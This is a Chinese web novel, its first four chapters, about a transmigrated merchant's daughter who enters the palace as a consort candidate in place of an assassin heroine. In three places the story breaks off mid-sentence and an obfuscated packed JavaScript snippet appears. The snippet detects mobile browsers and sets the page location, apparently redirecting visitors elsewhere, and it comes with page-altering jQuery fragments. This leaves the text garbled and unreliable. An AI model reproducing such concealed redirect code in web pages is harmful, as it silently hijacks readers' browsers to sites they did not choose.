《限制文反派他不按剧本走》 1. 第 1 章 “婆母今儿一早吩咐了厨房,特地做了你爱吃的条子肉。” 嫂嫂起身夹了一筷子,递到宋迎碗里。 见她半晌没动静,又用手肘轻轻撞了撞她胳膊。 “茵茵这是想什么呢?” 宋迎连忙回神,提起筷子,忙不迭咬上一口,眼睛顿时迸出光亮,“唔……许是今儿起猛了,有些迷糊,正琢磨着回去再眯瞪一会儿。” 说着,她假模假样抻了个懒腰。 宋迎平日里最爱睡懒觉,今日早起,算是太阳打西边出来了。 至于早起理由—— 自然是爹娘近来的行为举止太过怪异了! 父亲往日里虽端着严父的架子,但对她最是纵容。 食不言寝不语的规矩,在她这儿向来是破例的,饭桌上天南海北,总有说不完的话。 如今菜没吃几口,嘴角刚想扯出笑影,又迅速垮了下去,比哭还难看。 母亲更是奇怪,眼眶通红,一看便是偷偷哭了许久。 可是,家里并无亲眷生了重病或是去了的消息。 问及,母亲只说是风寒不适。 此番种种,难保她不多想。 宋迎觑了眼爹娘,果不其然,两人目光游移,不敢与她对视。 她正要开口试探,袖子却被轻轻一拽,转头便对上掩面含笑的嫂嫂。 “都多大的人了,用膳还跟个小花猫似的。” 嫂嫂说着凑近了些,用帕子替她拭去唇角酱汁。 若如往常,爹娘见她这般模样,少不得要打趣几句。 此刻他们心事重重,恍若未见,反倒是嫂嫂神色坦然,想来她对那桩“怪事”一无所知。 思及此,宋迎冲嫂嫂努了努嘴巴。 嫂嫂立马被她逗得合不拢嘴,“真是个小人精!茵茵,今日可得应嫂嫂一桩事。” 她拉过宋迎的手,“等会儿用完膳,陪嫂嫂去趟郊外送子庵可好?嫂嫂也盼着,来年能添个像你这般伶俐可爱的娃娃。” 话音刚落,宋夫人突然开了口,声音虚绵无力: “你平日里贪睡,也不差这一日半日的,就陪你嫂嫂走一趟吧。” 宋迎脸上的笑意几不可察地僵了一瞬,旋即又重新漾开。 她索性起身,语气娇憨:“母亲这话说的,倒显得女儿多不情愿似的!难道在母亲心里,女儿就是那等为了点瞌睡,连嫂嫂都不肯应的娇纵性子?” 她松开了与嫂嫂相握的手,起身要去拉宋夫人的,却不想,脚下一个趔趄,手肘不偏不倚撞上了下人端来的茶盏! “呀!” 一声低呼,茶水泼洒而出,宋迎急急后退,却还是慢了一步,藕荷裙摆顷刻间被洇湿了大半。 她拍打着裙面,水渍却越晕越大,只得福了福身,告罪道: “瞧我这笨手笨脚的!爹,娘,女儿裙子脏了,得先回去换一身干净的,再来陪嫂嫂出门。” 宋员外摆了摆手,示意她自便。宋迎这才暗暗松了口气,转身匆匆离去。 望着宋迎背影消失在月洞门后,宋夫人再也忍不住,侧过脸,泪珠子如断了线般滚落下来。 “这孩子,还是这般毛毛躁躁的,一点儿城府也无,日后……日后可怎么好啊!只怕……” 宋夫人尾音哽咽,已是不忍再说。 “夫人莫忧。”宋员外拍了拍夫人肩膀,眼圈霎时也红了,“便是毛躁些又如何?只要为父尚有一口气在,定能护着茵茵一辈子,不教她受半分委屈,吃半点苦楚!” 一旁的宋家大儿媳,见公婆这般模样,默默垂下眼睫。 …… …… 不对劲!全都不对劲! 嫂嫂平日里大门不出二门不迈,与兄长成婚三载,感情甚笃。 爹娘对子嗣之事,从未催促过,兄嫂二人平日里并不急于此事,只道顺其自然。 便是偶有亲眷提及,也只笑言缘分未到。 怎么今日,好端端要去送子庵祈福了? 这话说得突兀,像是临时起意。 宋迎脚下加快,疾步拐过游廊,隐入花木葱茏,才压低了声音,对着身旁吩咐道: “回厢房找身杏黄大袖衫,要荷花纹样的。” 那件衣裳,她记得清清楚楚,被压在了好几层衣物之下,轻易是翻寻不出的。 侍女矮身应下,继而往西厢房去了。 宋迎则越走越快,一路小跑,径直绕到了宅邸西北角的柴房。 她心跳得厉害—— 错不了!这件事,肯定是跟女主有关! 宋迎上辈子,哦不对,应该叫“上一个世界”才更准确。 在那里,她不过是一本星际哨向文里,连名字都没有的路人甲。 一个精神力评级低至末等的F级向导,注定平庸,也乐得清闲。 所以,她常常跑基地的图书馆看小说。 在那个电子科技发达的世界,已经很少有人去翻看纸质书籍了。 宋迎倒是很享受,偌大图书馆只有她一个人。 只是某天,她看完书去疏导室找她胞姐。 疏导室门外的指示灯,明明是亮着“非工作”的绿色。 她推开门,看到了此生,不,是上下两辈子都难忘的一幕—— 她的亲姐姐,正和一名S级哨兵,以一种最原始的方式,进行着超越精神链接的……结合。 那一霎那,宋迎浑身僵硬,某种被压抑的“设定”与“认知”轰然觉醒! 她所处的世界,是一本……一本以她姐姐为主角的,充斥着大量不可描述场景的……哨向限制文! 这个认知带来的冲击还未消散,下一秒,天旋地转。 再睁眼,宋迎就变成了一个小婴儿,穿越到了现在这个世界。 而这个世界,同样也是一本书! 因为,她看过这本古言小说。 没了哨向这种刺激的元素,这本古言……直白得更加令人面红耳赤。 但是她真的、真的、真的没有看绿色健康小书的癖好啊! 一开始是被跌宕起伏的剧情所吸引的,只怪作者颜料写太多了,才害得她只能反复捡剧情看。 总而言之,血泪经验告诉她,想要活命,就得把“远离男女主保平安”这七个大字刻进DNA里! 此刻,宋家柴房就关着这个世界的女主! 宋迎推开柴房大门。 女主黎婧容坐在杂草碓上,面容清丽,不失英气,与今早满脸血污的模样已然不同。 许是得了照料,她换了身素净衣裳,散乱青丝被高高挽起。 门被推开的瞬间,黎婧容手腕一翻,半截闪着寒光的刀刃已然握在手中,直指门口! 待看清来人是个女子,她眸中的杀气才稍敛,刀刃悄然撤了半分。 宋迎眼尖,一眼便瞥见了黎婧容宽大袖口下,隐约露出的白色纱布,以及那紧绷的肌肉线条。 轻咳几声,努力把脑子里关于她的旖旎剧情扔了出去。 看样子,爹娘并非是要加害于她,反而像是……救了她? 宋迎心念电转,虽然不知道爹娘为何会出手搭救,但凭她博览小说的经验,炮灰的死亡率极高! 能蹭着男女主气运飞黄腾达的人,不是男二女二,便是男三女三。 但宋家不过是辽州商贾,家底不厚,背景全无。 一旦被卷入这种恩怨纷争的主线剧情,那下场……肯定全家整整齐齐领盒饭! 不行! 她的家人不能死! 宋迎缓步走向黎婧容,离对方约莫五步的地方站定。 继而下蹲,与她平视,开始字斟句酌地道出自己的顾虑: “我不知姑娘究竟遭遇了何等凶险,但观姑娘方才身手,想来所牵扯之事非同小可。我宋家,只是辽州城内一户寻常商贾,家资浅薄,恐怕……实在担待不起太大的风波。” 她顿了顿,见黎婧容不发一言,便继续说道: “家父家母年事已高,此番出手搭救姑娘,已是冒了天大的风险。若因此给宋家招来祸端,我为人子女,实难心安。姑娘若真心感念我宋家搭救之恩,还请……尽快离开此地,另寻安身之处。” 听完这番逐客令,黎婧容稍稍后仰,将宋迎上下打量了番。 继而明白过来,她笑着将人扶起,“你,便是宋迎?” 这是宋迎第一次听见黎婧容的声音。 明明是清冽女声,却带着莫名磁性,一瞬间,她竟然有种想追随她的冲动! 她咬了咬牙,强压下那股冲动。 “是,小女子正是宋迎。” 宋迎稳住心神,硬的不行只能上软的了。 她膝下一软,顺势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811257|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要跪。 黎婧容是习武之人,不知何时已欺近半步,虎口掐住她小臂,瞬间让宋迎再也无法矮下半分。 “宋姑娘这是做什么?”黎婧容似笑非笑地睨着她,“方才那番话,当真要我离开?你……可别后悔。” 后悔?这有什么好好后悔的! 她巴不得离你们这些剧情中心人物越远越好! “此乃家父家母的意思,也是小女子的真心话,绝无半点虚假。” 宋迎没细想,重重地点了点头,“还望姑娘多加保重,咱们……山高水远,后会无期。” 黎婧容听后,脸上笑意更甚,口中喃喃自语:“有意思,真有意思。那我便依姑娘所言。” 话音未落,她身形一晃,几个起落便到了槛窗边。 成了!她要走了! 宋迎见状,心中大喜。 真是盼这辈子别再见面了,让她好好苟到剧情大结局吧! 突然,黎婧容探出窗的半个身子顿住。 她猛地回过头,看向宋迎:“父母爱子,拳拳之心;子女回护,亦是情深。你们这一家……倒是让我有些羡慕了。” 说完,便消失在窗边。 可黎婧容这句意味深长的话,却让宋迎莫名地打了个寒颤。 ……不愧是女主,简简单单一句话就能掀起炮灰的心绪。 但黎婧容没有说错,她之所以迫切地想请她离开,很大程度上是为了爹娘。 她死了不要紧,不能牵扯她的家人! 上一个世界,她的父母受基地管理洗脑,对她这个精神力评级垫底的女儿,从未有过半分温情,甚至视她为家族的耻辱。 这个世界的父母对她好到简直就像是老天爷想补偿她一样! 她及笄礼刚过,按理说早该议亲嫁人。可爹娘对夫婿挑了又捡,总没有十全十美,适合心意的。 媒婆说,天底下本就没有十全十美的,女大不中留,姑娘家也就及笄礼前后最为值钱,让父亲好生考虑。 没曾想父亲竟当场翻脸,大骂媒人,说没有十全十美便不嫁了,留在家中总不会少了吃食,绝不让她出去受半点闲气。 自那以后,宋员外“过分溺爱幼女,致其骄纵跋扈”的名声便不胫而走,辽州城内再无人敢上门为她说亲。 爹娘爱她至深,她又怎能眼睁睁看着爹娘卷到主线剧情? 女主要干的,可是弑君灭国的大事! 事情已了,当务之急是不能让嫂嫂看出破绽。 宋迎定了定心神,急忙往西厢房赶,总算在嫂嫂进院前,踏进了房门。 “茵茵,可是换好衣裳了?”嫂嫂的声音从门外传来,“你午膳没吃几口,我让厨房备了些你爱吃的桂花栗粉糕,带着路上垫垫肚子,莫要饿着了。” 说话间,宋迎换好衣裳,推门而出。 她几步上前,挎上嫂嫂胳膊:“嫂嫂待我也好。” 是啊,爹娘疼她,兄嫂也待她亲厚。 她怎么能让一家人涉险? 宋迎沉溺其中,全然没有注意到嫂嫂望向她深深的眼神。 …… …… 马车向着郊外的送子庵行去。 按理说,这段路程要穿过城中闹市,七拐八绕,怎么也得耗上半个多时辰才能出城。 宋迎嚼着桂花栗粉糕,只觉马车行进顺畅,少了往日穿行闹市的颠簸与喧嚣。 掀帘一瞧,宽阔街道空荡荡的,沿街店铺门扉紧闭,偶有几个行人,也是低头疾走。 “嫂嫂,今日街上怎这般冷清?” “许是……京中来了什么了不得的大人物,官府戒严了吧。” 京中……大人物? 辽州……京中官员……女主黎婧容…… 宋迎拼命回忆着那本古言限制文—— 原书对辽州着墨甚少,所有惊心动魄的大剧情,都绕开了这里…… 不!不对! 宋迎猛地坐直了身子,手中的桂花糕应声掉在了锦垫上。 有一个设定! 一个在原书中一笔带过,却又至关重要的设定! 女主黎婧容为了潜入皇宫,刺杀永昭帝,她伪造了一个身份。 那个身份,是各州奉旨入京的……秀女! 难道……难道她被选定了秀女,黎婧容顶替的,是她的名额?! 2. 第 2 章 历朝历代的选秀,顶多是宫闱争斗,可永昭帝的选秀,却比洪水猛兽更为骇人。 当年先皇铁骑踏破燕国都城,凭此赫赫战功,被册为储君。 然燕国素以巫蛊之术闻名,传闻国破家亡之际,燕国皇室以血为咒,在先皇身上种下至毒诅咒—— 所承他血脉子嗣,将永堕炼狱,日夜受无边苦楚。 偏偏先皇子嗣单薄,膝下唯有当今永昭帝一人。 诅咒之说,本就令人心惊。 在辽州这等偏远之地,传闻更是被添油加醋,说得神乎其神。 有人说,那燕国诅咒已然应验,当今圣上便是从炼狱爬回的索命修罗,嗜血好杀,尤爱以妙龄女子为食; 又有人称,这些秀女并非被食,而是献给恶鬼的祭品。唯有每年供奉十二名鲜活祭品,才能平息他身上的诅咒,换他片刻安宁,苟活于世。 不然,何以解释他登基以来,年年选秀,莫说封妃晋嫔,连音讯也全无? 宋迎对永昭帝颇有印象。 永昭帝是原书贯穿始终的大反派,戏份不多,是个推进男女主感情的工具人。 原书对他的描绘寥寥数笔—— 性情乖戾,嗜杀成性。 如今看来,这几条倒是与民间传闻相符。 思及此,宋迎只觉寒气直冲后脑,后背顿时冷汗涔涔。 一阵微风拂过,她激灵灵打了个寒噤,连牙根都在发颤。 她压下心头惧意,开口试探道:“……可是京中贵人为皇上选秀?” 宋迎只这么一句,吓得嫂嫂脸色骤白,嘴唇哆嗦着,半晌说不出一句话。最后,只仓皇别过脸去。 嫂嫂素来心浅,宋迎心中已然明了七八分。 恰在此时,马车猛地急刹,让车内两人都是一晃。 嫂嫂惊呼着就要往前栽去,宋迎眼疾手快,一把扶住,自己也顺势稳住了身形。 不等两人坐稳,车外便传来马夫与人争执的声音,听着像是城门口的守卫。 宋迎眉头微蹙,正欲掀开车帘一探究竟,手腕却被嫂嫂猛地攥住。 她诧异转头,只见嫂嫂一改慌乱,眸光沉静,带着几分宋迎从未见过的厉色。 “你既已猜到,又何苦再出去抛头露面,平白惹上一桩事非?” 嫂嫂的声音压得极低,轻飘飘落在宋迎耳畔。 宋迎心头一凛,瞳孔骤缩。 ……嫂嫂她,竟然也知道? 所以,她猜的没错。 爹娘救下黎婧容并非出于善心,而是为了让她顶替自己,去当秀女? 那她都做了什么? 不光把烫手山芋又揣回了自己怀里,还影响了原书中一个重要的剧情转折点? 不!不对! 宋迎强迫自己冷静下来,原书中,黎婧容进宫的真正目的,是刺杀永昭帝! 虽然书里未曾交代宋家的最终结局,但以永昭帝的性子,一旦事发,留档在册的宋家,岂能逃得过? 想到此处,宋迎深吸了一口。 她没有做错,阻止黎婧容替她入宫,是对的! 思绪翻涌间,车外的争执声已然平息。 也不知嫂嫂是何时与外面的人通了什么气,马车在原地调转了方向,朝着来路驶去。 车厢内,一个心潮起伏,一个讳莫如深,两人皆是无话。 不知过了多久,终是嫂嫂先开了口。 “那道要你入宫的旨意,早在一个月前,便已悄悄送进了咱们府上。” 难怪那段时间,媒婆影都没有一个。 嫂嫂继续说道:“婆母和公公起初也慌了神,想着使些银钱,可知府大人一口回绝,说此事非同小可,一旦被人察觉出半点纰漏,便是抄家灭族的大罪!” “后来……后来,便动了寻个姑娘,替你入宫的心思……” “可选秀规程严苛。”宋迎接过话头,声音有些发涩,“能被选中的秀女,必得是粗通文墨、识文断字的。寻常人家的女儿,有几个能做到?让一个目不识丁的去装作饱读诗书,稍有不慎,便会露了马脚,惹来杀身之祸。” 这年头,女子无才便是德,真正能读书识字的,哪个不是宝贝疙瘩,怎会轻易送入那吃人的皇宫? 黎婧容的真实身份是燕国公主,哪怕如今落魄,其学识气度也远非寻常女子可比,简直是送上门来的最佳人选。 嫂嫂挨过身子,指尖覆上宋迎的手背,将她的手拢在自己掌心。 “茵茵,”她唤着宋迎的小字,“这选秀,搁在太平年间,是达官显贵削尖了脑袋也想往里钻的登天梯……如今这机会砸到咱们这等寻常百姓头上,你细想想,能是什么好事?” 宋迎还想再说些什么,却被嫂嫂一个眼神生生制止。 她不解,却也只能被嫂嫂牵着手,下了马车。 入眼即是穷街陋巷。 “嫂嫂,这……这是?” “方才在城门,侍卫盘查甚严,说是要捉拿城中要犯,已然下令封城。”嫂嫂声音又急又促,“今日,怕是出不去了。” 她说话间,已从袖中取出一个锦包,不由分说地塞进宋迎怀里。 宋迎捏了捏,里面似乎是些碎银。 “拿着!找个隐蔽地方先躲起来,务必寻个时机,悄悄出城去!”嫂嫂的声音陡然拔高,几乎是低吼出声:“还愣着做什么?快走!” 嫂嫂这是……要让她逃?! “那……那爹娘他们怎么办?!” 她还没告诉嫂嫂,她把黎婧容放走了! “凡事自有我和你兄长一力承担!你只管走,走得越远越好,永远别再回来!” 话音未落,嫂嫂猛地在她后背推了一把。 不等宋迎站稳回头,嫂嫂已然转身,上了马车:“回家!” 她名唤谢花娘,本是游商之女,抛头露面原是家常便饭。 可她父亲,却一面靠着女儿的伶俐周旋于市井,一面又信奉迂腐教条,日日将责骂挂在嘴边。 那段日子,灰暗得望不见尽头,直到她遇见了宋晋同。 他们一见倾心,两情相悦。所谓的议亲,于她而言,更像是宋晋同为她赎回了自由。 宋家,不同。 宋晋同出身商贾,家风清正。公公一生未曾纳妾,与婆母伉俪情深,几十载光阴,唯有晋同一子与茵茵一女,便再无旁出。 成婚后,夫君待她亦如公公待婆母那般,一心一意。 她看着宋家上下一团和气,看着那个年已及笄、却依旧被全家宠得像个孩子的小姑子。 她好生羡慕。 从小,父亲便一遍遍告诫她,女子要早早学会操持家务,学着看人眼色,学着隐忍退让,如此才能在婆家立足,讨得夫家欢心。 可当她真正踏入宋家门,才恍然明白—— 原来,她什么都不必刻意去做,单单作为“宋晋同妻子”这个身份,便足以让她得到宋家所有人的善待。 更别提,她无意间听见公公放话,要养茵茵一辈子的时候,内心有多么的震撼。 那一刻,她站在门外,泪水无声滑落。 她也好想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811258|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好想将来生一个女儿,像公婆宠爱茵茵那般,宠爱她,让她不必经历自己曾受过的苦楚,不必看人脸色,不必在最好的年华里活得小心翼翼。 她待茵茵的好,是待来日的女儿好,是待曾经的自己好。 所以,她不能眼睁睁看着茵茵赴死! 她绝不能! * 宋宅前厅,气氛凝重。 奉旨前来接人的京中司正,被宋员外请至上座。 他端着茶盏,呷了口,眼皮都没抬一下: “今儿已是九月十五,钦定的秀女必须随本官即刻启程回京复命。若是误了吉时……哼,那可是欺君罔上,掉脑袋的大罪!” 话音未落,茶盏被他重重顿在桌案上,茶水四溅,惊得满堂下人噤若寒蝉,连呼吸都放轻了三分。 司正斜睨着堂下垂手侍立的宋员外,嘴角勾起一抹讥诮:“这十二州献上的秀女,每一位都是太史院费尽心血卜算推演,关乎国运,莫说错漏,便是迟到片刻,也不是你这小小商贾之家能担待得起的!” 宋员外连忙躬身作揖:“大人息怒,拙荆已亲自去后院催促了。只是……只是小女自幼被内子娇惯坏了,有些任性胡闹,都是为父教导无方,还望大人海涵一二。” 他一边说着,一边摸出黄灿灿的金子,往司正袖袍里塞去。 司正面上依旧是那副公事公办的冷硬,轻哼一声:“罢了,本官便再多等片刻。只是这茶水,有些凉了,不甚爽口。” 那言下之意,再明显不过。 宋员外忙不迭地赔笑道:“是是是,草民疏忽了!来人,给司正大人换上新沏的雨前龙井!用府上最好的泉水烹煮!” …… …… 宋府后院,西北角柴房外。 秋阳斜照,疏影斑驳。 宋夫人在月洞门下来回踱步,手中帕子被她都要揉碎了。 “人呢?人怎么会突然不见了?这可如何是好!如何是好啊!” 她喃喃自语,泪水在眼眶里打转,却强忍着不让其落下,生怕一哭便彻底失了主心骨。 就在她六神无主之际,一道身影急匆匆奔来。 是她的儿媳谢花娘。 “婆母!”谢花娘喘息未定,“官府下令捉拿要犯……已经封锁全城了!今日,怕是……怕是谁也出不去了!” “封……封城了?”宋夫人只觉得眼前一黑,双腿发软,跌坐在地。 泪水终于决堤而出:“那茵茵可怎么办啊!” 突然,屋檐之上的一道黑影,倏地动了动。 “婆母,莫慌!”谢花娘扶起跌坐在地的宋夫人,“儿媳已经让茵茵藏起来了!” 她目光扫过婆母煞白的面色与空无一人的柴房,谢花娘立马明白了情势。 “为今之计,是将宅子里侍女都召集起来——重金之下,必有勇夫!” 宋夫人被她扶着站起,但身子仍旧摇摇欲坠,“可这……这要是被识破了呢?司正大人可不是好糊弄的啊!” “婆母,眼下已是死马当活马医,没有退路了!至少先混过眼前这一关!先寻个年岁与茵茵相仿,举止也算端庄的丫鬟,唬住司正再说!” 宋夫人一时也没更好的主意,连连点头:“好……好,只能……只能按你说的办了!” 谢花娘:“事不宜迟,婆母去前厅稳住司正,儿媳去召集人手!” 婆媳二人便当分头行动,各自朝着不同的方向疾步而去。 屋檐上的那道黑影,又默默地与阴影融为一体,悄无声息地退了回去。 3. 第 3 章 宋迎躲在暗巷拐角,锦包被她死死攥在手心。 她知道嫂嫂的好意,也清楚爹娘对她的疼爱。 但她宋迎也不是那为了苟活,就拖着全家去死的废物! 黎婧容消失,自己真若一走了之,宋家“私纵钦点秀女”的罪名一旦坐实,绝不是兄嫂二人能顶得住的。 那是灭顶之灾,是株连九族! 嫂嫂车马比她腿脚要快,若是回府发现黎婧容不见,下策只能找个丫鬟顶包。 宫中司正个个火眼金睛,太史院选人更是严苛,岂是随便一个丫鬟就能瞒天过海的? 若真如此,只会罪加一等,死得更快罢了! 脑海中,原书里令人毛骨悚然的画面再度翻涌。 那位沦为女主对照组的秀女,在大殿之上,被生生撕裂玉颈,而永昭帝竟当场畅饮鲜血…… 一想到日后要面对如此可怖场景,宋迎的全身血液仿佛凝固,连抬脚的力气都没有。 她猛地倒抽一口凉气,寒风裹着萧瑟灌入鼻腔,激得她清醒了几分。 是啊,与其让全家因她一人日夜不宁,最终落得个满门抄斩的下场,倒不如…… 倒不如由她一人承担一切! 她熟知原书剧情,应该算开卷考试,或许……能博出一条生路! 念及此,宋迎眼中惶惑褪去,疾步朝宋宅奔去。 宋府前厅。 司正早已没了耐心,“宋员外,本官的耐心是有限的!宋姑娘若再不出现,休怪本官不讲情面,直接将此事上报!” “大人息怒,息怒啊!”宋员外背脊又佝偻了几分,“小女……小女片刻即至,她……她不过是女儿家闹些小脾性,还请大人宽宥。” “哼,小脾气?”司正冷笑,“待她入了宫,她的脾性,便再由不得她自己了!” 内堂方向,隐约传来宋夫人阵阵呜咽声。 而月洞门边,谢花娘一双秀眉紧蹙,她安排下去的事情尚无半点回音,眼看司正就要发作…… 就在这时,一道清亮女声跃入厅中: “民女宋氏,参见司正大人!” 众人皆是一愣,循声望去—— 只见宋迎快步跨入门槛,一路奔波而来,鬓边青丝微乱,却不减其昳丽之姿。 “茵茵!”宋员外失声喊道。 谢花娘更是如遭雷击,瞪大了眼睛,跌撞着从内堂奔出。 她一把抓过宋迎的手臂,急得声音都变了调:“茵茵,你……你……” 宋迎却轻轻挣开了嫂嫂的手,微不可察地摇了摇头。 她走到厅堂中央,朝着上首司正敛衽一礼:“民女宋迎,见过司正大人。方才因与母亲依依惜别,多耽搁了片刻,累及大人久候,实乃民女之过,还望大人海涵。” 依依惜别? 这点谎话怎么能哄骗得住司正,他眯起眼睛打量着她。 见她眉眼清秀,身段窈窕,那镇定气度,确有几分太史院遴选秀女的风范,不像冒名顶替之辈。 他重重哼了一声:“既是与令堂话别,如今可大安了?时辰已然不早,该启程了。” “茵茵!”宋员外声音哽咽,抢上一步,“司正大人,求求您,可否……可否容草民与小女再说几句话?” “宋员外!”司正眉头一拧,高声打断,“圣命在身,岂容一再拖延!” 话至如此,宋员外只能颓然垂首。 “宫规森严,秀女入宫不得携带任何私物。这锦包……还是劳烦嫂嫂替我保管吧。” 宋迎从袖中取出嫂嫂硬塞给她的锦包,双手递还。 司正见她如此识大体,面色稍霁,摆了摆手。 两名侍卫便应声而入,一左一右立于宋迎身侧。 直到马车辘辘远去之声渐不可闻,谢花娘才颤着手,打开那只锦包。 锦包内多了张纸笺。 展开一看,上面只有四个字—— 勿念,定归。 * 辽州距京州,路途最为迢遥。 起初这选秀,尚是达官显贵们将自家女眷送上龙榻固宠的捷径。 不知从何时起,宫中流言渐起,道是送进去的女儿家,不仅未得雨露,反而下场不明,杳无音信。 朝堂之上,有不怕死的御史斗胆一问。 谁料隔日,永昭帝竟提着头颅上殿,鲜血自玉阶一路滴淌至御座,惊得满朝文武魂飞魄散,从此,再无人提及送女入宫之事。 于是,选秀伸向了平头百姓。 赤贫之家自然无缘,只有宋家这般,有些薄产却无甚权势,又能供养女儿读书的乡绅地主,成了这趟浑水的首选。 只是,十二秀女总不能清一色皆是乡绅之女。 每年大致是“臣三绅七”的定例,挑挑拣拣。 可到了辽州这偏远之地,年年送上去的,几乎都是乡绅之女,宋迎便是其中之一。 自打落入司正手中,宋迎日子便难挨起来。 不仅吃不好睡不好,一路上车马劳顿,更要时时应对司正验明真身之法。 倒也不是旁的什么,只因司正对她身份始终心存疑虑。 离开宋宅前,司正特意搜罗了她平日撰写的手书,一笔一划地盘问比对,才勉强打消了疑虑。 宋迎当真后怕。 倘若自己慢了一步,真让嫂嫂寻了个侍女顶替,又该怎么躲过笔迹这关? 只怕早已身首异处。 还好司正的盘问不久,等新秀女来了,他又忙着甄别新人的底细真伪。 入京前,秀女们被管束得极为严苛,彼此间不得私下会面,也断了宋迎想探听虚实的念头。 她只能闷在自己屋里打转。 往日里,她跟上个世界一样,喜欢看些小说,如今书是没得看了。 宋迎除了睡觉,就只能在纸上涂涂画画,权当消遣。 偶然被司正撞见,只淡淡吩咐了句,让她在入京前丢干净。 从辽州到京州,不过月余光景。 这一路行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811259|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,旁的事也罢了,倒是每日三次的沐浴,着实让宋迎摸不着头脑。 ……永昭帝,是个洁癖? 直到入了宫,宋迎才远远瞧上其余秀女一眼。 她们十二人被分成两列,每列六人,穿行于宫中甬道。 这皇城深宫,处处透着诡异。 偌大的宫苑,宫人少得可怜,四周死寂一片,静得能听见心跳声,连一声鸟鸣都无,高高的宫墙压得人心头发慌。 前方领路的内侍神情木然,自始至终未曾吐露半句宫规提点,只管在前引路,脚步声轻得像猫。 宋迎一路低垂着眼帘,这宫里的人……怎么都像哑巴,还是被人……割了舌头,致使皇宫上下,这般寂静无声? 顿觉喉头发紧。 终于抵达暂居的储秀阁,宋迎才稍稍抬起眼皮打量。 秀女入宫待遇不错,一人一间轩敞的厢房,雕花窗棂,青石地面,比宋宅闺房还要宽绰几分。 但其余人心思不在这里。 领路的内侍前脚刚走,后脚院中便有几人按捺不住,三三两两聚在一处,眼神交汇间,满是惴惴不安。 她们这些秀女,名义上是未来的嫔妃,地位比寻常宫女高出一截,无需劳作,只需静候永昭帝的传召。 永昭帝的传召……跟阎王的催命符有什么区别? 宋迎是不想多思考这种事的。 越想越怕,越怕越想,还不如多睡睡觉。 十二位秀女之中,只有她坐马车的时间最长。 连日的颠簸,宋迎只觉腰酸背痛,脑子也昏得厉害,满心只想扑上床,好好睡上一觉。 她正要回房,眼角余光却瞥见了黎婧容的身影! 宋迎怕自己眼花,目不转睛地盯着她瞧了又瞧。 真的是她! 她怎么会在这里? 难道无论先前剧情如何发展,黎婧容注定会顶替一个秀女的身份入宫? 那厢的黎婧容,似乎早就发现了她的存在。 隔着人群,遥遥朝她一笑,便关上了房门。 当天夜里,宋迎睡得不省人事,肩头却被人拍一下。 睁了眼,再入睡就困难了,宋迎心头这么念着,翻了个身,没理,继续睡。 来人被她这反应逗笑了。 紧接着,又是几下轻拍,力道比方才温柔不少。 “宋姑娘。” “宋姑娘,醒醒。” 这声音…… 宋迎一激灵,睡意顿消大半,勉强睁开惺忪睡眼。 “谁?” “自然是,后会无期的那位。” 黎婧容? 宋迎心头一跳,支着身子起身,脑子还有些懵,刚想问她大半夜有什么事。 却听对方不急不躁地抛出一句话,让她瞬间起了鸡皮疙瘩。 “我此番夜访,是特来提醒宋姑娘——赶紧写封遗书吧,莫要耽搁了时辰。” 宋迎:……哈?三更半夜,专程来提醒人写遗书? 4. 第 4 章 宋迎心跳漏了半拍。 难道黎婧容马上就要去刺杀永昭帝了?这是念及宋家救命之恩,打算给她一个留遗言的机会? 她佯装诧异,反问道:“你……说什么?” 天色昏暗,借着月色,黎婧容将宋迎那茫然模样尽收眼底。 她和宋迎不过一面之缘,连自己的名字她都不知道,不信也是人之常情。 但—— 黎婧容回想起她主动入宫,不免好奇,“你可真是奇怪,天赐良机摆在面前不选,偏偏要入这龙潭虎穴?” 宋迎被吵醒本就不快,见她顾左右而言他,管什么女主,开口就怼:“姑娘说的可是……待他日东窗事发,我宋家满门抄斩的良机吗?” 黎婧容面色倏然一沉,周身陡然凌厉。 她原以为,寻个不愿入宫的秀女顶替,是桩两全其美的好事…… 被宋迎这么一点,她才想起来自己此行所图之事,一旦事发,追查下来,被她顶替身份的那户人家,势必难逃株连。 黎婧容心下有些不忍。 可进宫机会千载难逢…… 须臾间,那丝恻隐又被复仇压回了心底。 胸中郁结之气难消,黎婧容手腕一翻,凛凛刀刃已然出鞘,抵在宋迎颈间。 寒光挑破月光,映着眉间怒意。 宋迎颈上一凉,连连摆手:“我、我不是这个意思……” 黎婧容没多言语,皓腕又是一沉,刀锋贴近了几分。 宋迎“啊”一声,慌忙抱紧脑袋,整个人哆哆嗦嗦往墙角缩。 紧闭双眼,再不敢多言。 见半晌没动静,宋迎才敢掀开眼皮,露出一条缝瞧瞧。 黎婧容,走了? 她刚才,说错什么了吗? 宋迎下意识捂紧嘴巴。 